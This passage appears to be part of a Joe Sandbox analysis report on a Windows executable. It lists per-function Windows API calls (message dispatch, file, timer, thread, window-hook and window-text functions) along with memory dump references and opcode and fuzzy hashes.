          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessagePeek$Window
          • String ID:
          • API String ID: 1210580970-0
          • Opcode ID: 00df3626474bb1b09aa0d555d0412bfbd9baf520bfda7ae11fed0b39836a0f73
          • Instruction ID: 0d7e6753211f196b27de66e573a62d10e85eaa4fd00422fb984f9c438c29726e
          • Opcode Fuzzy Hash: 00df3626474bb1b09aa0d555d0412bfbd9baf520bfda7ae11fed0b39836a0f73
          • Instruction Fuzzy Hash: 00319FB0605206AFD714DF24D984AEBB3A9FF45348F40052EE91593240D778EDA8CBA7
          APIs
          • KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 0049703F
          • TranslateMessage.USER32(?), ref: 0049705F
          • DispatchMessageA.USER32(?), ref: 00497066
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Message$CallbackDispatchDispatcherTranslateUser
          • String ID:
          • API String ID: 2960505505-0
          • Opcode ID: bb5a452c8d41df55dd145ecac0139e9b87bb62daf80a751db9bb3a7394be1c4f
          • Instruction ID: 9ca26eb516dbd250ba66f91340bc298bdd55ecfbdf5583db3d0318d606e5a4bd
          • Opcode Fuzzy Hash: bb5a452c8d41df55dd145ecac0139e9b87bb62daf80a751db9bb3a7394be1c4f
          • Instruction Fuzzy Hash: 4EE09232314200BFD7255B64AC88E7B3BACEFC6B11B04043EF503D1220DB68AC428B69
          APIs
          • SetWindowTextA.USER32(?,j[B), ref: 0049606B
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: TextWindow
          • String ID: j[B
          • API String ID: 530164218-2073834439
          • Opcode ID: a15fc34242c832f12e76fe75658eb72e28565bc4d1e928fe63d39c9564589f02
          • Instruction ID: ee0abe351b450bf38ffbb7a4a97bb80f50ba23bf903093e646ad85aa78eb284f
          • Opcode Fuzzy Hash: a15fc34242c832f12e76fe75658eb72e28565bc4d1e928fe63d39c9564589f02
          • Instruction Fuzzy Hash: C6D09E306041019FCF45CF60D944A56BBB1BF94704F258579E446CA121D736CD52EB45
          APIs
            • Part of subcall function 004927A8: __EH_prolog.LIBCMT ref: 004927AD
            • Part of subcall function 004927A8: GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004927CB
            • Part of subcall function 004927A8: lstrcpynA.KERNEL32(?,?,00000104), ref: 004927DA
          • CreateFileA.KERNEL32(00000000,80000000,00000000,0000000C,00000003,00000080,00000000,?,?,?), ref: 00492557
          • GetLastError.KERNEL32 ref: 00492569
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateErrorFileFullH_prologLastNamePathlstrcpyn
          • String ID:
          • API String ID: 1034715445-0
          • Opcode ID: ede51c76cb9fc5cbf59760c9262f1658d3499bed0158a58877afd4ee9d02f4de
          • Instruction ID: 381d6fb42c94ab2a88038c41e7a97c763dbf3f50d8cc95414d2571e67c71a4ab
          • Opcode Fuzzy Hash: ede51c76cb9fc5cbf59760c9262f1658d3499bed0158a58877afd4ee9d02f4de
          • Instruction Fuzzy Hash: FE310672A00605BBEF208E25CE55BBB7F95AB80324F21893FE416DB2D0D6B8D9458758
          APIs
          • KillTimer.USER32(?,000003E8), ref: 0041306F
          • SetTimer.USER32(?,000003E8,?,00000000), ref: 00413088
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Timer$Kill
          • String ID:
          • API String ID: 3307318486-0
          • Opcode ID: 951b173f81fd05b79cf26e78dfbb487c1b5c955eb3dfa1b46c6326720c261883
          • Instruction ID: c532e8965d0f8de1d86086ae04005d486132d3b98946b65f0df3620ef212afb6
          • Opcode Fuzzy Hash: 951b173f81fd05b79cf26e78dfbb487c1b5c955eb3dfa1b46c6326720c261883
          • Instruction Fuzzy Hash: C30113313047209FE720CF39D844B97BBE8BB48746F00892EE58ACB694D7B9E9408B14
          APIs
          • CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,?), ref: 004691FC
          • CloseHandle.KERNEL32(00000000,?,00000000,00000000,?), ref: 00469224
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseCreateHandleThread
          • String ID:
          • API String ID: 3032276028-0
          • Opcode ID: e897e4f474a0a16a8905b07cd25daaeab821a9ef81295c2fbf80e242deb09d7c
          • Instruction ID: c1111a4058847d0381e6d27b52872bbc3eac578b7bd55f975dc4d009ad8ce5f8
          • Opcode Fuzzy Hash: e897e4f474a0a16a8905b07cd25daaeab821a9ef81295c2fbf80e242deb09d7c
          • Instruction Fuzzy Hash: 70F019757043029BE724CF29E894BABB3A9AFC5711F10496EE046C7290D7B4EC458B55
          APIs
          • SetErrorMode.KERNEL32(00000000,00000000,00497D80,00000000,00000000,00000000,00000000,?,00000000,?,0048F893,00000000,00000000,00000000,00000000,004808BA), ref: 0049C0C4
          • SetErrorMode.KERNEL32(00000000,?,00000000,?,0048F893,00000000,00000000,00000000,00000000,004808BA,00000000), ref: 0049C0CB
            • Part of subcall function 0049C11E: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0049C14F
            • Part of subcall function 0049C11E: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0049C1F0
            • Part of subcall function 0049C11E: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0049C21D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
          • String ID:
          • API String ID: 3389432936-0
          • Opcode ID: 988d852685dc51f415025719800b0655ae2ff2e495b036f6e647dd5272636fc4
          • Instruction ID: 4ab15fec14121deb13af55521b8e90933ed9a76096f6ff16ae274b81411d2e2c
          • Opcode Fuzzy Hash: 988d852685dc51f415025719800b0655ae2ff2e495b036f6e647dd5272636fc4
          • Instruction Fuzzy Hash: 35F014789042108FDB15EF65D44AB097FE4AF48754F0684AFF4449B3A2CB78D840CF9A
          APIs
          • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,0040A34B,?,?,?,?,00000000), ref: 004925EE
          • GetLastError.KERNEL32(?,?,0040A34B,?,?,?,?,00000000), ref: 004925FB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorFileLastWrite
          • String ID:
          • API String ID: 442123175-0
          • Opcode ID: 44cb026d3217a40c28648b9c06c38c4fb442a0e61cc5d837186147ddd48572d9
          • Instruction ID: 7f0d9f230e72c374aa057c4dcc38ad2733131bcf37fb2919ee913ba20ed16f04
          • Opcode Fuzzy Hash: 44cb026d3217a40c28648b9c06c38c4fb442a0e61cc5d837186147ddd48572d9
          • Instruction Fuzzy Hash: 6CF0A036144204BBDF211B86DC05F97BF6CEF81770F10C23BB928A66A0D775E8108BA8
          APIs
          • HeapCreate.KERNEL32(00000000,00001000,00000000,00480838,00000001), ref: 00485CD3
            • Part of subcall function 00485B7A: GetVersionExA.KERNEL32 ref: 00485B99
          • HeapDestroy.KERNEL32 ref: 00485D12
            • Part of subcall function 004895C5: HeapAlloc.KERNEL32(00000000,00000140,00485CFB,000003F8), ref: 004895D2
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Heap$AllocCreateDestroyVersion
          • String ID:
          • API String ID: 2507506473-0
          • Opcode ID: d8ace60815b8e1bba707e141a98a52f4244168a32625ee94998fcca6c67ca6e9
          • Instruction ID: 5012d81c4b172bc21da7b5132d809288e690b01e9c4638cfcdbf0a9e0d04629b
          • Opcode Fuzzy Hash: d8ace60815b8e1bba707e141a98a52f4244168a32625ee94998fcca6c67ca6e9
          • Instruction Fuzzy Hash: 1FF09B35654B03BAFF207B316D4A76E35D49B54785F208C3BFC01C81A1EBA88480DB0E
          APIs
          • LoadImageA.USER32(?,?,00000001,00000020,00000020,00000000), ref: 00424C2B
          • LoadImageA.USER32(?,?,00000001,00000010,00000010,00000000), ref: 00424C3D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ImageLoad
          • String ID:
          • API String ID: 306446377-0
          • Opcode ID: bc4d8179008c2cb7290f32efa5c605ea8a5c0330329cfceab445509924b1b7ab
          • Instruction ID: 8e4359537512299381a51f41ec9d9449df3425eab6d4435ed3b404df9ed06c40
          • Opcode Fuzzy Hash: bc4d8179008c2cb7290f32efa5c605ea8a5c0330329cfceab445509924b1b7ab
          • Instruction Fuzzy Hash: 6FE0ED3238131177D620CE5A8C85F9BFBA9FB8EB50F140819B344AB1D1C2F1A4458669
          APIs
          • GetCurrentThreadId.KERNEL32 ref: 00496AE8
          • SetWindowsHookExA.USER32(000000FF,00496E2A,00000000,00000000), ref: 00496AF8
            • Part of subcall function 0049B8E2: __EH_prolog.LIBCMT ref: 0049B8E7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CurrentH_prologHookThreadWindows
          • String ID:
          • API String ID: 2183259885-0
          • Opcode ID: 39d23b4a385917db6b3ad7c7b0c26254f0d80848b1c90f1dc8d5ebc2db5d11b4
          • Instruction ID: ce9a939163fe6e04df712d7e57a95f972f69e643c4fdb8439d90f9a96f8dbd36
          • Opcode Fuzzy Hash: 39d23b4a385917db6b3ad7c7b0c26254f0d80848b1c90f1dc8d5ebc2db5d11b4
          • Instruction Fuzzy Hash: 07F082319012105EDF207B70BD0EF1A3E91EF15315F1506BBB111961E1DB2C9845879D
          APIs
          • DefWindowProcA.USER32(?,?,?,?), ref: 00494018
          • CallWindowProcA.USER32(?,?,?,?,?), ref: 0049402D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ProcWindow$Call
          • String ID:
          • API String ID: 2316559721-0
          • Opcode ID: 3ff4de3ce437a3b2e07841331479c543d3f192f3a4956eae7a851312e42fae0f
          • Instruction ID: 4b17d1fe8dd33d6dbe45765285974d8cd55e678a79237d2297433f8bd61fd303
          • Opcode Fuzzy Hash: 3ff4de3ce437a3b2e07841331479c543d3f192f3a4956eae7a851312e42fae0f
          • Instruction Fuzzy Hash: 1FF01C36100205FFCF214F94EC04E9A7FB9FF48391B048429FA45C6530D732D821AB44
          APIs
            • Part of subcall function 0049B84D: TlsGetValue.KERNEL32(004FCF74,?,00000000,0049B2D4,0049ABD3,0049B2F0,00496AC5,00497D61,?,00000000,?,0048F893,00000000,00000000,00000000,00000000), ref: 0049B88C
          • GetCurrentThreadId.KERNEL32 ref: 00493C48
          • SetWindowsHookExA.USER32(00000005,00493A30,00000000,00000000), ref: 00493C58
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CurrentHookThreadValueWindows
          • String ID:
          • API String ID: 933525246-0
          • Opcode ID: 72e4db6ac0e3ce68b1c767d5c80b7f912451da92f11cb05da8f89ff28d8c017b
          • Instruction ID: c0769b3fb28b1668fe4507cf4966d30139309c4ef3d6b3548e489605bd3dd816
          • Opcode Fuzzy Hash: 72e4db6ac0e3ce68b1c767d5c80b7f912451da92f11cb05da8f89ff28d8c017b
          • Instruction Fuzzy Hash: DEE0ED72A00B009FCB30EF669808B177EA4DB86B16F00453FF20691580C338A8008BAE
          APIs
          • GetWindowTextLengthA.USER32(?), ref: 00494130
          • GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148
